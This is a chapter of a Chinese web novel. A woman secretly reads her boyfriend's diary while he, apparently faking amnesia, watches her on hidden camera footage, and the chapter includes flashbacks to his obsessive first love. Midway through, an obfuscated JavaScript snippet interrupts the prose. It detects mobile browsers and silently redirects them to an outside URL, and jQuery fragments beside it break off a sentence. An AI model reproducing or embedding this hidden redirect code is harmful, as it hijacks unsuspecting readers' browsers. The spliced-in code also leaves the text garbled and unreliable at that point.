房门合上的瞬间，玄关处的门正好被推开。
邱言拎着个塑料袋走进来，帽檐下的眼睛第一时间落在她身上，“我回来了，买了你喜欢的草莓。”
时昔正坐在沙发上若无其事喝着水，她回头时笑得自然，“这么快回来了？我以为你要多逛一会呢。”
邱言换鞋的动作顿了顿，目光不动声色地扫过她身后，那扇紧闭的房门和平时没两样。
“没什么好逛的。”他声音平淡，转身走进厨房。
他的声音混着水流声从厨房里传出来，“脑子里现在还是空空的，走几步就累了。”
时昔很自然起身走进厨房，“那就歇着呗，总会有想起来的一天的。”
边说着她边踮起脚尖，把来不及放回原处的钥匙项链从口袋里拿出来，重新挂回邱言脖子上，“你忘记戴了吧？我来给你戴。”
钥匙又重新回到邱言的脖子上。
邱言没回头，只低低“嗯”了一声，声音比平时哑了些。
夜里。
时昔翻找着自己的首饰盒，企图把邱言日记里说的那条珍珠项链找出来。
她想找出来看看是否吊坠里真刻着“言”字。
可是翻遍整个首饰盒，里面都没有这条项链的踪迹。
翻了许久，她在首饰盒的最底下发现了那条珍珠项链。
她轻轻把项链拎起来，珍珠颗颗圆润，在台灯下泛着柔和的光，吊坠处的小月亮静静垂着，比记忆里更精致些。
时昔捏着月亮吊坠翻过来，指尖在冰凉的金属上细细摩挲，果然摸到一道细微的刻痕。
借着灯光凑近看，“言”字藏在吊坠内侧，不仔细看根本发现不了。
和邱言日记里写的一模一样。
时昔盯着那个字，忽然想起那天邱言送礼物的时候有掩饰不住的慌张，当时他只当是害羞。
不曾想还有这层含义。
既希望她看到，但又怕她看到后害怕自己。又不希望她看到，但又没人知道他的这种小心思，时昔也不知道他原来藏着这种心思。
胆小的疯狗。
“这世界上难道真的有人能毫无保留喜欢另一个人？”时昔捏着这串项链喃喃道。
忽然她又摇摇头，似乎是想把这种想法移出大脑。
“不会的。俗话说得好，男人最会演戏。”
男人的话本就当不得真，更别说一本不知何时写下的日记。
“在找什么？”门口传来邱言的声音。
身后传来邱言的脚步声，他目光也落在了那条珍珠项链上。
时昔将珍珠项链递到他眼前，“你看这条珍珠项链好看吧？我可喜欢了。”
邱言的声音很轻，“嗯，很好看，很衬你。”
时昔捏着项链转了转，珍珠在指尖滑过，带着凉意。
她仰头对着镜子笑了笑，故意把吊坠往衣领外拨了拨，“以前总觉得珍珠老气，现在看倒挺显气质的。”
说这话时，她用余光瞥着邱言。
见他目光落在吊坠上，却没什么特别反应，心里那点试探的念头又淡了些，或许真是自己想多了，他说不定是真不记得。
“是挺显气质的，不过，你戴什么都好看。”
这句话把时昔最后的试探念头也打消了。
本来失忆后的邱言对自己控制欲这么强，她还有点怀疑邱言失忆的真实性。
但现在看来是她多疑了。
医生也说他失忆，况且她好像有听过有的失忆者会莫名特别看重旧事物。
尽管都不记得那些旧事物是怎么回事。
现在看来，他这么害怕房间的秘密被发现，也是一种失忆者会莫名看重旧事物的表现。
至于占有欲，那可能是他的本能吧。
时昔觉得是个人都会有占有欲，或多或少罢了。
“去睡觉吧，很晚了，医生说你要注意休息。”时昔边说边把邱言往门外推。
邱言被推到门口，脚步顿了顿，目光又扫过她颈间的珍珠项链，声音依旧轻得没什么起伏，“好，你也早点睡。”
时昔笑着点头，把他推出房门，轻轻带上。门板合上的瞬间，她靠在门后，摸了摸颈间的吊坠。
刚才邱言的目光太“干净”了，没有一丝波澜，完全不像日记里那个会因她碰了别的男生而去报复男生的人。
她为怀疑邱言这件事良心又痛了一下。
门外的邱言，没立刻回房，转身进了书房。
他坐在电脑前，指尖在键盘上敲下一串复杂密码，屏幕中央弹出“监控回放”的界面。
他鼠标轻点，列表里“储藏室”的文件夹跳了出来。
他点开了文件夹，画面中出现了那间“秘密房间”的全貌。
进度条拖动，画面里很快出现时昔的身影。
她看着照片沉默了许久，但监控里拍到了她微微翘起的嘴角。
后来她拿起那本日记翻看，眉头微蹙，看了许久才又小心翼翼放回原处。
甚至时昔还特意对了角度，假装她没看过一样。
邱言盯着屏幕，轻笑出声，“果然，她还是好奇这个房间里的秘密。”
今晚，那把钥匙是邱言故意落在家里的。
他就是想知道时昔会不会去打开那间房间。
结果不出他所料，时昔进去了，还把里头的秘密都看了个干净。
但这对他来说并没有什么大碍。
他就是想让时昔看看这里面的内容。
唯一出现意外的是，他本以为时昔看到房间里的一切会害怕、会逃跑。
现在看来时昔不仅没有害怕，还乐在其中。
这正中他的下怀。
随后他又从锁着的抽屉里拿出了一本崭新的本子。
这本本子没有任何样式，像是随便从一个文具店里买的。
他翻开最近一页，上面是三天前的字迹，字写得歪歪扭扭，
【11月21日，晴。今天去了超市，想起她说想吃草莓，就买了。她吃的时候说甜，我好像……有点开心。】
他翻到最新一页空白处，笔尖落到空白处：
【11月24日，晴。今天又买了草莓，她戴了条珍珠项链，说显气质。我觉得很好看，告诉她了。夜里她让我早点睡，还推我出门，手碰到她的胳膊，很软。】<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406616|184502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>写完，他盯着“很软”两个字，又补了句：
【好像落了钥匙在玄关，是她帮我找回来的？记不太清了，但项链戴在脖子上，很安心。】
邱言看着自己失忆后写的满满登登的日记。
心里涌上一股莫名的情绪。
这股情绪让他很烦躁，他不知道是什么。
他忽然想起自己最初遇见时昔的时候，时昔是那么光彩照人。
在新生开学典礼上，时昔作为学生代表站在台上发言，阳光落在她发梢，连握着话筒的指尖都透着利落。
那时他躲在人群最后排，看着她眼里的光，与自己整日阴沉沉的气息形成了鲜明的对比。
那是他第一次有想把人拉入“水”一起沉沦的想法。
后来一次见她，是在一个雨天。
这天，邱言撑着把旧伞，缩在教学楼旁的紫藤花架下躲雨。
怀里抱着刚从旧书市场淘来的物理竞赛题，指尖无意识摩挲着书脊，耳尖却悄悄留意着周围的动静。
从初中起，他就习惯了独来独往，说话会结巴，眼神不敢与人对视，连走路都刻意贴着墙根，学校里没几个人愿意跟他搭话，偶尔还会听见“阴沉”“古怪”的议论。
雨下得越来越大，他正犹豫要不要冒雨回家，忽然有把伞递到他头顶，伴随一道清亮的声音，“同学，你是不是没带伞呀？我家跟你顺路，一起走？”
邱言抬头时，雨点正顺着伞沿往下滴，落在时昔的校服袖口上。
她没像其他人那样盯着他紧绷的姿态看，也没露出丝毫回避的神色，反而笑着指了指他怀里的书，“你也喜欢物理竞赛题吗？我同桌总说这个超难，你要是会的话，说不定以后能帮她讲讲。”
他愣了好几秒，才僵硬地摇了摇头，声音很轻，“我、我也不太会。”
说完就后悔了。
他怕自己的结巴会让她觉得古怪，怕她下一秒就会收回伞离开。
可时昔只是笑着把伞往他这边又挪了挪，脚步自然地往校门口走，“没关系呀，慢慢学就好。对了，我叫时昔，在高一五班，你呢？”
没有打量，没有排斥，甚至主动问起他的名字。
这是第一次，有人没觉得他缩在角落躲雨的样子奇怪，没觉得他结巴的反应别扭，反而把他当成了能正常同行、能聊天的正常人。
那天的雨一路没停，时昔的伞大部分都偏向他这边，她的半边肩膀被雨打湿，却没提一句。
两人分开时，她还笑着说：“以后再遇见下雨，要是没带伞，可以去五班找我借呀。”
后来他在日记本的第一页写下：
9.15晴
【高一五班的时昔，她借我伞，是第一个没觉得我奇怪的人，喜欢她。期待下次见面。】
他的字迹写得格外用力，像是要把这份第一次被“正常对待”的心动牢牢记在心里。
这段记忆在后来就一直深深刻进他的脑子里。
不管是车祸前还是车祸后他都牢牢记着。
这场势均力敌的游戏里，两人都心照不宣的不揭露对方的真面目。
企图在这扭曲的爱里分出输赢。